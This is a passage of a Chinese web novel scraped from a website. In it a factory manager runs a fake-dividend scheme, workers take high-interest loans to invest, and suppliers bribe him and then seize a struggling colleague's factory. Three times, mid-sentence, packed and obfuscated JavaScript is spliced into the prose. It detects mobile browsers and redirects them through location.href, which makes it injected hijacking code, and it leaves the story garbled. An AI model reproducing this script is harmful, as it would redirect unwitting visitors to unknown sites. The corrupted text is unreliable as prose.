罗琦坐在镜子对面,沉默地看着自己的面孔。 这张白玉一样的脸还没消肿,有好几个细小的、还在愈合中的瘢痕,脸颊还有一道尖锐的伤口。她一双眼眸依旧是美的,白底黑瞳,像冰冷的寒星,右眼却被一道伤口斜斜地横亘,睁不开眼。鼻子也肿得不像话。 罗琦唇角微抿,鼻子连带着嘴角歪着。她微微侧过脸,鼻梁的骨头上有明显的凹陷。 “鼻子歪了,要手术矫正。”医生用笔点着她的鼻梁,旋即下移到面颊,“这里的疤痕打激光可以淡化,但你的眼睛——” 罗琦看着自己睁不开的右眼。 “眼皮必须要手术,不然你以后睁眼都会困难。”医生说,“我们会把伤口尽量放在你双眼皮的褶皱里。” “会和从前一样吗。”罗琦轻轻问。 “人啊,能健康平安已经是很大的幸运,你说是不是。”医生说得委婉,“只要还有健康,什么都是次要的。” 罗琦怔怔地注视着镜子里的自己。 “面孔会消肿,伤口会长好,你的五官功能也不会受影响,这还不好吗?”医生伸手拍拍她的肩膀,“命运待你,不是不好的。” 罗琦沉默着站起身,推开门。 这是一个普通的9月的中午,诊疗室外是一道长长的走廊,走廊的尽头是一扇窗户。窗外阳光灿烂。 罗琦走到窗前。窗外那点绿色,映到她眼睛里头去。她抬起头,用手捂住眼睛。 “我漂亮。”她用以往的语气说。她的声音带着骄矜和娇俏。 片刻后。 “罗琦漂亮,所以罗琦从来不哭。”她喃喃道。 沉默了几秒钟。阳光洒在她的脸上。 “命运待我,不是不好的。”罗琦捂着眼睛,低声说。 …… “不要搭理罗珏。这孩子脑子不好。”工人低声说。 “不让我们拿罗桑厂分红……” 楼梯拐角处烟熏火燎。白茫茫的烟雾堆叠在一处,工人们几乎看不清彼此的样子。老王深吸一口烟,又缓缓吐出去。 “她天天喊风险,但想赚钱,做什么没风险呢。”老王说,“至少罗桑厂是咱们看着这么多年的,干了这么多年了,也熟悉,也知道,总比别的强。” “她读了大学,她怎么知道我们过得是什么日子。”有个老工人举起手,眯起眼。昏暗的灯光透过白茫茫烟雾,他费力地看着手上鲜血淋漓的针孔,“我的眼睛坏了。我也干不动了。我想活下去,很需要钱。” “你的钱呢?”话音刚落,那个工人被身边人捅了一下。 “我儿子爱赌。”老工人摆手,“先是拿我们的钱,然后是借钱,欠了九十多万,最后死在外面了。”他的语气漠然,“他死了,现在豹哥追着我替他还。” 工人们沉默。 “死了好。幸亏死得早,才欠了九十几万。要是再活几年,搞不好要欠到五百万。算了。命运待我,不是不好的。” 老工人把烟一直吸到烟屁股,老王看不下去,又递了他一支:“也还了快十年了吧?应该没剩多少了。” 老工人接过烟,给自己点火。制衣工人眼睛花得厉害,左点右点,火苗都对不准烟头。 打火机咔咔作响。 “还剩十来万,这次分红,应该就能还完了。然后我再干几年,攒点养老钱,就回老家啦。你说人这辈子图个啥,为了儿女,挣钱挣一辈子,最后也没儿女,也没钱。” 老王替他把烟点了:“这就是命。” “人的命究竟掌握在谁手里,老天爷吗?老天爷分配人的命运,那老天爷他公平吗?” “老天爷把好命都分配给谁了?凭什么就分给我这样的烂命?我看老天爷分命的时候也偏心,搞不好哇,天上也搞关系户那套,老天爷自己的屁股根本就是歪的!”老工人吸了口烟。 众人哄笑起来:“神仙本来就是父父子子夫夫妻妻嘛,这世道就这样。” “说起夫妻,你儿子那个对象,成没成?” 老王叼着烟点火:“我儿子准备结婚了,给他老丈人拿的烟,剩两条,给你们沾沾喜气。” “呀!恭喜恭喜。” 老王面色红润地谦虚了一下,又不经意透露:“进门的不是一个,是两个。”他比划了下肚子。 工人们“哄”地一声笑起来:“要抱孙子啦!你儿子真厉害!” “厉害什么。”老王面露得色,嘴里却笑骂,“养孩子最花钱了,现在的小夫妻养活自己都难,还不得指着我贴补。我和他妈要养活三口人,负担重啊。” “呦呦呦看你笑得——” “老王眼光好啊,投的早,本金大,收益也高。这次还能再分五万,是真有钱。我还想投呢,可王经理说,已经投不进去了——” “你给王经理送点礼啊。”老王悄悄说,“我家老太婆上次把本金拿回来了,后来想再送回去,只好给王经理送礼。” “送多少?” 老王伸出根手指,比了个“1”:“找了个茶叶盒,给王经理塞了1万。” “吓?!多少?!” “你也给王经理送点钱。别觉得1万多,罗桑厂分红分几次,你的钱就回本了。” “而且。”老王神秘兮兮地压低声音,“我听小道消息……王经理说,月底还会给我们再分一次红。” “怎么可能!月初才刚分过一次!” “怎么不可能,咱们罗桑厂就是这个!”年轻工人竖起大拇指,“你们不相信罗珏,你们还不相信王经理?” “我相信!散了吧,早点休息,明后两天还得上班呢,为了国庆假期调休。” “什么,周六周日要上班?!我恨调休!” 第135章 借钱 2008年的国庆假期从9月29日一直放到10月5日,因此9月的最后一个周末,27号、28号,全国都要上班。 也就是在9月28日,罗桑厂再次分红,将工人们要求入股的狂热气氛推向了高潮。 只不过,这一次,王经理拒绝了。 “罗桑厂筹集的钱已经足够多了,所以我们的筹款账户决定关闭。”王经理歉意地说。 不再接受入股了? 工人们面面相觑。 “罗桑厂已经挺过了最艰难的时机。”王经理白净的面孔噙着一丝温和的微笑,“如今罗桑厂的资金来源千头万绪,一是管理起来麻烦,二是占用大家的资金、影响各位的生活。所以,我们研究决定,将小额资金退还给大家。” “小额资金是什么意思?!”有年轻人沉不住气,在下面大声吼道。 王经理不以为意:“二十万以下的本金,我们决定全部退还。” 如同一滴冷水溅入沸腾的油锅,工人们聚集的现场“哗啦”一下炸开了。 “说好的分红,怎么还能退呢?”有人激动地大声嚷嚷。 “我不缺钱用,我就愿意把钱放在厂里——” “什么资金管理困难,谁觉得困难,就不要管,让王经理管我们的钱!” “对,让王经理管我们的钱!” 但也有工人双眼发亮,费力地挤到台前,抬头高声问王经理:“如果资金池子里清退了四个人每人五万块钱,是不是资金池子就空出二十万的名额?那我拿二十万,是不是就可以让我进去?” 王经理沉吟片刻,笑着说:“可以。” 一石激起千层浪。 瞬间,工人们聚集的地方再次响起议论声,只是,这次的声音带着急切,带着贪婪,带着渴望—— “意思是,只要我能掏出二十万,就可以参与罗桑厂分红了!” “可我手里才2万,我哪来二十万啊?!” “傻瓜!你去借钱啊!” …… 罗珏走在街上,注意到黑豹音像店门口挤挤挨挨全是熟面孔,比如王婶。 又是一年9月底,风已经凉了,打着旋吹过,把门边的红纸吹得猎猎作响。红纸上一行黑字: 低息贷款借债信用卡套现 罗桑县只有这一家音像店,但这家音像店却开得长久不衰,无人争锋,因为音像店的老板正是职业催债人,地头蛇老豹。 老豹混黑道起家,就算现在金盆洗手,生意也依旧是灰色的。罗珏的目光落在工人们的面孔上——奇怪,这么多人来找老豹,脸上还都是急切的、喜气洋洋的样子。 王婶从音像店里走出来,满脸激动忐忑。 她死死地抓着怀里的包,魂不守舍地往前走着,拐了个弯,眼看前面有一滩水,王婶却仿佛没看到似的,一脚踩了进去。 “哎呀!”她惊叫了一声,急忙拔出脚,可鞋已经湿透了。 王婶却没有太生气,只是随意跺了跺脚,继续往前走。 她的面上有着压抑不住的忐忑的喜气,带着兴奋的潮红。罗珏眼看着前面有块石头,而王婶恍若未察,怔怔地踢了上去。 罗珏快步走上前,一把抓住王婶的胳膊。 王婶回头看到是罗珏,先是下意识地笑,旋即不耐烦地皱起眉头,面色冷漠地甩开罗珏的手。 “你差点踢到石头。”罗珏的背挺得直直的,声音很冷,“王婶,你脚趾有旧伤。” 王婶年轻的时候,罗桑厂里有个鱼塘。她清理鱼塘的时候弯腰搬石头,闪了腰,在床上躺了一个多月,也没太养好,至今大脚趾是没知觉的。罗珏总说,大概是伤了神经,让王婶去医院看看,但王婶嫌贵,反正不太影响干活,一直都舍不得去。王婶总说,她是粗人,哪会娇贵到给医院送钱。 王婶低下头,看见了石头,神情讷讷:“你别以为我原谅你。” 罗珏气笑了:“你原谅我?我做错了什么?” 王婶来劲了:“让我少挣了五万块的不是你?” 罗珏深吸一口气,又缓缓吐出:“王婶,你真相信罗桑厂有钱?” 王婶固执地说:“罗桑厂给我钱,那罗桑厂就是有钱。你总是喊着风险,但我缺钱啊,你能给我钱吗?” 罗珏又气笑了。 还没等罗珏想好该说什么,王婶说:“罗珏,你是金凤凰,你在大城市,坐办公室,风吹不着,雨打不到,你不懂。” 罗珏失笑:“我学金融的,罗桑厂的财务,你觉得我不懂?” “不是说你不懂那些,是你不懂我们的苦。”王婶摇头,“我们做制衣的,家里也没什么条件,也没文化,只能天天泡在车间里,天天闻布的染料味烧鼻子,小飞毛扎眼睛,缝纫机踩久了,腰和脖子都变形,还花眼。后来我没法轧衣服啦,只好给罗桑厂搞卫生,一到冬天就长冻疮,又刺又痒的,还不是得把手往凉水里泡……” “每分每秒都疼,都痒,这就是我的命,我得忍着。这一忍,就是大半辈子。”王婶说,“我每天睁开眼睛,就是遭罪,干活也遭罪,把冻疮泡在冷水里,每分每秒都遭罪。冬天又要来啦,要是有钱,我至少今年冬天不用沾冷水,可以好过一些,日子有点盼头。” 罗珏的手有点抖,于是揣进口袋里:“有风险呢。” “我没看见风险,我只知道,我实实在在拿到钱了。”王婶说,“我和你王叔掏了二十万,这几次分的红,已经有十五万了,现在二十万变三十五万,你说,好不好?” “那你把二十万拿回来,用十五万入股……” “我儿媳要生啦,她带孩子就没法打工,孙子还得我养。而且,这次入股不能低于二十万。” 罗珏站定了,猛地抓住王婶的袖子:“什么意思,王经理还搞出准入门槛了?” “我听不懂你的话。王经理是个厚道人,他说,罗桑厂的钱够了,所以之前的小钱都退回去,化零为整,让大钱补上。谁钱多谁优先补。” 罗珏面皮隐隐抖动:“那你们去找老豹——” “找老豹借贷。”王婶说,“我们现在手里有三十五万,儿媳拿了五万嫁妆,老豹做中间人,找人借了我们二十万,24个点利息,老豹两边各抽1个点的茶水费,我们一共借了六十万,按50%分成的话,年底能分三十万,再把利息还了就好。” 罗珏的手抖得更厉害了。她深呼吸几次后,才指着黑豹音像店,努力维持声音冷静:“你是说,这些工人全是找老豹担保借钱的?!都是24个点利息?这不就是高利贷?你们怎么还?” 王婶不以为然:“到年底就还了,还有得赚。” 罗珏看着那些挤挤挨挨的工人,又转头看着王婶。 “别去。”罗珏伸手拉住王婶,“罗桑厂根本没钱了。”她深吸一口气,“罗桑厂的钱,全拿去炒股了,根本没钱在账上——王经理骗你们的!他每次分红,其实都是拿你们的本金在分,目的就是让你们入股!” 王婶用力推开罗珏:“你才活了几年,罗桑厂在这好几代人了,我在罗桑厂干了三十年,我看着罗桑厂过好日子也足足三十年了,你比我还懂?!” 推搡中,罗珏的手缠上了王婶死死夹在腋下的包的带子。那是一个棕色的帆布包,边缘已经磨白了,鼓鼓囊囊的。肢体纠缠中,包被往罗珏的方向拽过去,王婶急了,红着一双老眼,用力把带子和罗珏的手扯开,又大力猛推,罗珏重重摔进了水坑。 哗啦一下,污水泼了罗珏一身。她下意识要爬起来,可手用力一撑,手腕又痛又肿,她吸了口冷气,跌坐回脏水中。 真是狼狈啊。 罗珏能感觉到发丝黏在脸上。她的眼皮也湿漉漉的。 举起手,她的手背有一道浅浅的伤痕。 因为刚才王婶用拽又掰,手被帆布袋的带子割伤了。 而王婶喘着粗气,鼻翼煽动,面孔涨得通红。 她举起手,指着罗珏的鼻子:“从小看着你长大。你是金凤凰,是精英,你哪里懂我们老百姓的苦!别逼我翻脸。” 王婶转身就走,一脚踢到地下的石头,疼得一个趔趄。 不远处,一辆灰色的商务车静静地停在附近。 第136章 暴露&兼并 “那边怎么回事?”车窗没有降下,王经理问司机。 “有人吵架。”司机说,“咱们罗桑厂的人,和一个女学生。” 王经理看了眼黑豹音像店门口的工人,多问了句:“吵的什么啊?” 司机漫不经心:“估计是集资入股的事。老王家那口子,集资的二十万的那个,过来找老豹借钱,这个女学生可能不让王婶借。” “她凭什么多管闲事?”王经理拔高声音。 司机瞟了眼窗外,没说话。 王经理眼神阴霾,“你看清这女学生的样子了没有?” “没太看清。”司机说。 王经理顺着司机的目光看过去,只看到罗珏瘦高的背影。 “个子这么高,很眼熟。”王经理用力思索。 司机提醒:“看着像红星厂林招娣家的。” 王经理的面色渐渐阴沉下去。 “要跟林厂长说一声吗。”司机问。 “现在顾不上这个。”王经理不耐烦,“先去罗桑县政府。” …… 罗桑厂的车缓缓驶到县政府门口。 会客室门窗紧闭,张东尧正在介绍情况:“之河服装纺织集团提出对罗桑厂的兼并方案已经一个多月了。罗桑县毕竟是‘世界运动服之都’,省里、市里对罗桑厂的发展都非常重视。” 赵**的脸色并不好看。他开口,嗓子全哑了:“我刚去开完会。省里和市里的意思是,之河服装纺织集团毕竟是本省的大企业,相比于外商注资,更倾向于我们在兼并方案的基础上继续往下谈。” 张东尧给赵**倒了杯水,赵**火气很大地仰头就喝了,张东尧急忙又倒了一杯。 郑厂长急了,脱口而出:“怎么上面突然就想让之河兼并我们呢,这也太不实际了!老领导,可不能答应啊!罗桑厂好好的一个厂,罗桑县的支柱厂,突然就被划给之河服装了,那以后罗桑厂的营收算谁的?罗桑厂的税收又算谁的?算之河市的,还算省里的?没了罗桑厂的税,罗桑县的财政怎么办,该拿什么发展?之河服装反正不缺钱,何必又来我们罗桑县搞‘税收搬家’呢?” “别胡说!”赵**把茶杯重重一顿,郑厂长立刻叫冤:“老领导,我心急,但我也是替罗桑县考虑,话糙理不糙啊。” 张东尧在一旁咀嚼着桌面机锋,把桌上三人的焦灼看得清清楚楚。 罗桑制衣厂可是罗桑县抱在怀里下金蛋的母鸡,如今港资撤资,正是罗桑厂的归属真空期,四面八方都想要母鸡的金蛋。本就有很多双眼睛盯着,如今天上又多了几双眼睛,赵**眼看着扛不住压力,却也只能着急上火。 但那是他们着急上火。 对于张东尧而言,只要罗桑厂发展得好,他的论文也就能写得好。如果罗桑厂被之河服装兼并,他刚好可以把论文从县里拓展到更高层级。只要能拿出一篇过硬的论文,他就没有任何损失。 于是张东尧稳稳地坐在桌前。 赵**说:“这是上面透的口风。人家之河服装纺织集团是综合性大企业,不像我们罗桑厂,只做外贸。你想想看,人家有专业人员管理经验,把我们的员工划转过去,能优化我们的组织架构;人家有内销门路,等兼并我们以后,外贸销路也齐全了,统一纳入集团化管理,有什么不好?会议说了,港资一旦撤资,没人给罗桑厂垫付成本,罗桑厂留在我们手里就是个包袱,但之河服装有资本、有厂,能扛得住前期成本空转,那么在人家手里就有规模效益。这对我们双方而言,都是好事。” 郑厂长和王经理对视一眼,都看到彼此眼中的惊恐——罗桑厂的帐可禁不起国家查! 赵**问:“外商那边什么进展了。” 王经理急忙说:“外商很有意向,已经基本达成共识,准备进驻评估资产了。现在再来兼并,不好吧。” 赵**挥手:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275256|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好的,也不是我们说了算。你们准备接待之河那边的资产评估团队吧。” 郑厂长用纸巾擦汗:“之河那边什么时候来人。” 张东尧翻了翻笔记本:“10月底。” “嘭”的一声响,向来从容稳重的王经理手一动,袖子带翻了水杯,凉水淋淋漓漓地洒了满桌子,又弄湿了两人的裤子。 但两人谁都没躲,而是麻木地对视。 赵**缓缓说:“我提前给你们透个底。如今,罗桑县的污染问题已经提上了议程,罗桑厂的排污问题也得趁早解决。你们闻闻,罗桑河已经臭成什么样子!上面提出兼并,我怀疑上面在规划产业搬迁的事。届时,之河服装和整个罗桑厂,都要搬到新的地方去,不会留在之河市和罗桑县,为了生态环保考虑。” 宛如一个惊雷,炸得几人面面相觑。郑厂长难以置信:“就为了污染?可罗桑河已经臭了几十年了,也不是一天两天,我看大家也没意见嘛!解决排污,说得轻巧,又是好大一笔支出!这笔支出谁来负担,上面有没有补贴?” 赵**说:“环保是未来的大趋势,我们只能拥护。” “钱呢,钱从哪里来?这也太理想化了吧!”郑厂长开口,声音比哭还难听,“这不是把罗桑县财政和几十万民众的饭碗拿去裱面子吗。” 赵**火冒三丈地拍桌子:“郑爱民!你昏了头了讲这种话!我们是要解决问题,而不是制造矛盾!你这样的话传出去,这矛盾的波及面可就太大了!” “城市要发展,大局要顾全,我都理解。”郑厂长咬牙昂头,“但是,那也不能光顾头、不顾腚!” 会议室内一片安静。 赵**一锤定音:“就基于之河服装的兼并方案往下谈。听说省里给了之河服装一个上市的名额,如果罗桑厂能跟着之河服装上市,对罗桑县未来的招商引资也是好事一桩。” 郑厂长面色惨白。 第137章 罗桑厂封账了 回程的路上,郑厂长心烦意乱地打开车窗。 罗桑河的臭味一股一股地钻进了车厢。 本地人早就习惯了罗桑河的臭味,但此时此刻,这股臭味让郑厂长心里烦躁得不行。 王经理亲自开车,脸色也不好:“郑厂,赵**的意思是,10月底,之河服装要派团队过来罗桑厂估值。” 郑厂长死死攥着手里暗蓝色的文件袋,直至骨节发白:“账上好歹还有集资的钱。” “如果资金不能及时挪回来,罗桑厂是禁不住审计的。”王经理直接说。 郑厂长直接问:“怎么办。” 王经理抓紧方向盘,目视前方,目露凶光。 蓦地,他说了句头尾不搭的话:“只有一个月。绝对不能让人泄露罗桑厂的账目问题。” 郑厂长唬得坐直了身子:“谁?!是谁乱讲话?!” 几秒钟后,王经理自言自语:“是林厂长的女儿,个子很高的那个。” …… “个子那么高,怎么长的呀?”护士领着罗璇往罗琦的病房走去。 “多吃饭多运动。”罗璇笑得甜,嘴更甜,“可惜我光长个子不长脸,不像姐姐苗条又漂亮。” 护士笑得开心。罗璇又说:“我妹就拜托姐姐了。” 病房里。 罗琦正瞪着眼睛看向天花板。她满头都是纱布,鼻子眼睛脸全部缠得严严实实,看不清神情,鼻子也包得紧紧。一根细细长长的喉管从嘴角插下去。 听见响动,她黑白分明的眼珠转了转,转向罗璇的方向。 罗璇坐在她身边,直接说:“小妹,我要做一件很差劲的事情。我要变成一个坏人了。” 罗琦点点头。 罗璇又说:“你是我的亲妹妹,我们从一个子宫里头钻出来的,血脉相连。幺儿,你会理解我的。我希望你会理解我。” 罗琦黑白分明的眼珠子就像水银,一眨不眨地注视着罗璇。 “少吹牛逼。”她轻声说,“你这憨货。” 罗璇“嘿”的一声,笑了。 罗琦的嘴唇艰难地弯起。她伸出手,翘起一根手指,左左右右地戳罗璇的胳膊。 罗璇挡她的手,左挡右挡,被她戳个不停,怒道:“今天不和你一般见识,等你养好伤,咱俩再打一架。” 罗琦“切”了声。 罗璇看着罗琦包裹严实的脸。她明明已经调整好了,明明能用轻松的面孔对着罗琦,明明已经说服自己,将用最险的手段去对付林招娣,哪怕赔上自己,都在所不惜,可此时此刻,罗璇摸了把自己的脸。 她满脸都是眼泪,不知什么时候掉下来的。 她三下五除二,用手背抹干净眼泪:“你好好恢复,只要有我在一天,就有你的一口饭吃。” “哭丧呢,真晦气。”罗琦躺在床上骂,“呸!我要你养!我养你还差不多!” “好,好,你养我。”罗璇举双手投降,“不跟你一般见识。” 罗琦“哼”了声。 “我走了,幺儿。”罗璇起身,“等你恢复好,我就回来了。” …… “既然现在钱不紧张了,您看,我们垫的款,是不是该回来了?”赵老板笑得谄媚。 他弯下腰,按下打火机。 “咔哒”一声,小小的火苗在略显昏暗的客厅内跳动。 王经理坐在宽大的黑色皮沙发上,面色阴沉,只是吸烟, 不说是,也不说不是。 这天是阴天,下着秋雨,天气寒凉下来。赵老板举着打火机的手迟迟没收回去,他的笑容逐渐僵硬,越是坐在皮沙发上,越是觉得哪里哪里都凉,皮沙发也凉,脚底下的大理石地面也凉,温度也凉。 秋风透过客厅窗户的小缝钻进来,吹在林招娣脸上,林招娣打了个寒战。 她注视着王经理隐藏在烟雾后的面孔。 另一旁的宋老板不管不顾,急切地说:“王经理,我们知道罗桑厂是大厂,但我们确实困难哇,去年的货款就没结给我们,好,雪灾,我们认了,我们可以压货,但今年3个季度的货款也都没结,您看看,这一共压了五个季度的货款,我们小生意人,这个成本……我们兜不住了呀!” 王经理不耐烦地说:“急什么,会给你们的。” 宋老板涨红了脸,逼问:“您给我个时间,不然我全家老小都得喝西北风去!” 林招娣有点急,对着宋老板使眼色,宋老板上身前倾,死盯着王经理,额角青筋跳动。 王经理吸了口烟,用力吐出,掸了掸烟灰,皱眉靠在沙发上。 “10月反正是付不了。罗桑厂——封账了!” 封账,意味着不出款。 ”封账了?!“三人齐齐惊呼! “封账了?!”宋老板如遭雷劈,面色惨白,“这才年中,不是年底,怎么就封账了?” “因为外商来了。”王经理语气不耐地向外一指,“知道外商来罗桑县吧?” “罗桑县谁不认识那个外商。”宋老板面色抽搐,咬牙切齿,“江明映,假洋鬼子——他竟然封账——” “他来投资罗桑厂的。为什么要投资罗桑厂?因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275257|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗桑厂好,有钱,能赚钱!”王经理抬高声音。 “既然有钱,那就把货款结给我们啊!”赵老板也说。 王经理把烟头一甩:“就是因为有钱,所以才没办法结给你们。外商想接手罗桑厂,是不是得先调查账目?是不是得先估值?”他不耐烦地说,“所以罗桑厂就得封账!” “说封账就封账?生意还做不做了?荒唐!”宋老板的声音骤然拔高,“外商他懂个屁!” “是啊,外商懂个屁!”王经理唉声叹气,“这种外商,有两个钱,就把自己当大爷,才不管咱们的死活呢!那江明映,假洋鬼子,1月份来的,罗桑厂就封账了,现在备料出货,要么就压的供应商的款,要么用工人认筹的钱,账上的钱,那是一分都不能动。” “都怪江明映!那个外商!他懂个屁!” “怪外商!” 林招娣恍然大悟:“难怪……” “难怪有风言风语,说罗桑厂没钱了,对吧。”王经理从鼻子里哼了声,“这种鬼话,哪年不传?结果呢?罗桑厂都能给工人分红!我就不信,还有谁对那些工人更好?!别管外面说好说坏的,罗桑厂整整三代人就在这里,屹立不倒。” 林招娣和赵老板对视两眼,面上皆松了口气。 王经理又说:“老宋,你再撑一下,肯定饿不到你。” 宋老板急了:“我吃饱了又怎么样,我手底下一大堆农民工等着拿钱的,他们在乡下一堆小孩饿**啊!” 王经理胡乱把问题推到外商身上:“是外商要封账,我们也没办法。” 林招娣看了看王经理,脚在茶几下踹了宋老板一下,转过身,从包里抽出两条红双喜,轻轻搁在茶几上。 黑色的茶几透亮,黑色的皮沙发暗沉。昏暗的客厅原物缭绕,只有红色烟盒鲜艳夺目。 王经理伸出手,掂了掂,点头:“挺好,劳驾帮忙拿去地下室。” 林招娣松了口气,脸上露出了笑容。 赵老板也急忙掏出两盒茶叶:“王厂,您品品。” “什么厂长!”王经理呵斥,“厂长姓郑,我只是个经理。”边说着,他边掂了掂茶叶盒。 宋老板也拿出两盒茶叶,边擦汗边说:“王经理,您想想办法,哪怕先给我结一部分。” 王经理的面色有些憔悴。林招娣注意到,王经理似乎心里压着很严重的烦心事,居然一夜之间冒出许多白发。 但宋老板的茶叶盒大一些,王经理紧锁的面色跟着缓和了些:“放心,会帮你想办法的。” 第138章 围猎 走出王经理家门的时候,风卷着小雨细细刮在身上,林招娣打了个寒战。 她很敏感地察觉到,空气中,似乎弥漫着说不清道不明的焦灼。 宋老板闷头抽烟,打了好几个电话。 赵老板对着林招娣使了个眼色,努努嘴。林招娣凑过去,赵老板压低声音:“老宋给王经理拿了多少,你知道?” 林招娣说:“说好我们三个每人塞2万。” 赵老板似笑非笑地看着宋老板的背影:“他的茶叶盒比我大一圈,我看2万塞不下,我猜他塞了4万。” “他图个啥?”林招娣皱眉,“就图回款先紧着他,就真金白银多掏2万?” “罗桑厂这么压老宋的货款,老宋资金链眼看着就要断了。”老赵低声说,“有单子也没用,就要没钱备料了。那些**债主都盯着他呢,这次要是撑不过去,他就完啦,**会像饿狼一样,扑上去撕烂他。” 不借**? 哪个银行会贷款给他们这些人。说是鼓励小微企业,最后贷款还不是批给大公司。 做小生意的,有几个不借**。 林招娣看着宋老板后脑勺灰白头发里露出的一簇铜钱大小的头皮。 “衰人走衰运。”老赵吃吃笑,“你看看,有意思不,都给老宋愁出‘鬼剃头’了。” 林招娣若有所思。 片刻后,老赵悄悄扯了下林招娣,低声说:“其实老宋的生意,利润也蛮好的。” 林招娣抬眼:“当真?” 老赵又悄声说:“老宋的厂子,卖给谁不是卖,不如我们联起手来,把他的厂子拿下。” …… 老宋挂了电话,转过脸来对两人说:“现在是吃大闸蟹的好时候。我最近闷得很,择日不如撞日,明天开车吃大闸蟹去?” 林招娣笑:“我不耐烦吃那种东西,我不会拆。” 老赵兴致勃勃:“林厂长,我拆螃蟹可是一把好手。借助点工具,把它大卸八块——”他挥舞手臂,做了几下刀砍斧劈的动作,“这是门围猎的艺术。” 林招娣笑骂:“老宋愁成什么样了,你当着他的面,还扯围猎,这不是戳人家肺管子吗。” 老赵指指老宋:“你别把他当好人,他拆螃蟹也干脆,可没少帮我打下手!” 林招娣还要拒绝,老赵对着她?2?4?2?4眼睛。 “大卸八块,有手就能做,有什么会不会的。”老赵懒洋洋地拖长音,“现在的大闸蟹啊,正是肥美的时候呢。” 林招娣转念点头。 …… 老宋说吃大闸蟹的地方,竟然是在上海古北的别墅区里,环境优雅。 “老宋,我们都是粗人,好东西吃不出味的,结果你还租了别墅。”林招娣说。 老宋只是心事重重地一笑。 大闸蟹配黄酒,老赵和老宋合力拆掉林招娣的那一只。 老赵揭开大闸蟹的壳,对林招娣说:“尝尝,林厂长。” 酒过三巡,吃好喝好,年轻漂亮的荷官带三人到其他房间,笑吟吟地请人打扑克。 林招娣忍不住说:“我哪会玩这种高雅东西。”她转头问荷官,“有麻将没有。” 荷官一愣:“有的,我这就找给您。” 四人打麻将。 老宋丢下几张牌,终于开口:“实在是没钱了,能不能救哥们一把。” “怎么救?” “垫款。”老宋试探着说,“订单我有的,就是没钱备料了,你们帮我垫备料的钱。” 林招娣立刻说:“红星厂还欠着300万外债。” 老赵哈哈笑着:“现在这个行情,我们也自身难保啊。” “如果连你们也不帮我。”老宋哀求,“那就只能眼睁睁看着兄弟我破产了!” 林招娣平静地说:“除非你分我们30个点干股。” 老宋瞪大眼睛:“你们两个,每人15点?” 老赵摇头:“我们两个,每人30点,一共60点。” 老宋好半天说不出话。半天,他说:“你们趁人之危?“ 林招娣又叹了口气:“老宋,现在谁不欠外债,我和老赵都欠了一屁股钱,你扪心自问,我们要帮你,要担多大的风险?一个不小心,连人带厂,都得翻船。你自己说说,我们担这么大风险,值不值得30点干股?” 老宋垂死挣扎,趴在牌桌上说:“30个点太多了。” 老赵说:“老宋,你想清楚,就你欠的那么些**,你还能找谁帮忙?谁还敢帮你?要是我们不帮你,你连厂子都没了。要是能保住厂子,你至少还有40个点的干股,不比你破产强?到时候那么多债,你可怎么还啊?” 老宋的面色变了又变。 年轻荷官倒了几杯水,不动声色地推到几人面前。 老宋端起水,哭着笑着,笑着哭着:“喝什么水,喝酒!拿酒来!” 荷官犹豫,老宋瞪眼睛,撒起了疯:“你敢看轻我,觉得我没钱吗!” 荷官轻声道歉, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275258|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >很快,白酒端上来。 “我敬你们。”老宋二话不说,一个人咕嘟嘟喝下大半瓶白酒。 “和了,和了!”老赵把牌往前一推,大声道。 老宋苦笑,很快醉倒在桌上,不省人事。 …… 第二天清晨,林招娣在别墅里睁开眼。 等老宋醒了酒,林招娣和老赵借着别墅的会客厅,签了份股权转让的协议。 两个人都给老宋垫了款,林招娣垫得更多些。于是老宋和林招娣约定,订单完成后,对方的结款,直接打给林招娣,进入红星制衣厂的账户。 …… “高考的奖金已经打到我的账户了。”万小满在电话另一边说。 “那你不要乱花钱,好好存着,读大学这几年用。”罗珏说。 她举着手机的手背缠着白色的纱布。因为那天和王婶争执划伤,又泡在污水里,伤口发了炎。 小满在电话对面说:“我想……”她顿了顿,吞吞吐吐,“学校旁边有家饭店倒闭了。” 罗珏撕开手上的纱布。本来不算大的伤口,如今竟沿着伤口起了一排水泡,黄色的,流了些脓水,又痒又痛,丑陋至极。 罗珏“嗯”了声:“大学周围,饭店开开关关,也正常。你可以去别的店逛逛。” “罗珏姐。”小满说,“我想租下这个店。” 罗珏“啊”了声:“租店?你要开店?” “是我妈。”小满一口气说下去,“我不放心我妈。我们学校做家教的报价很高,我还有一大笔高考奖金,我想在这边租个房子,把我爸妈接到北京来。” “你爸现在可以一直住在罗桑县医院里,罗桑厂掏钱。” 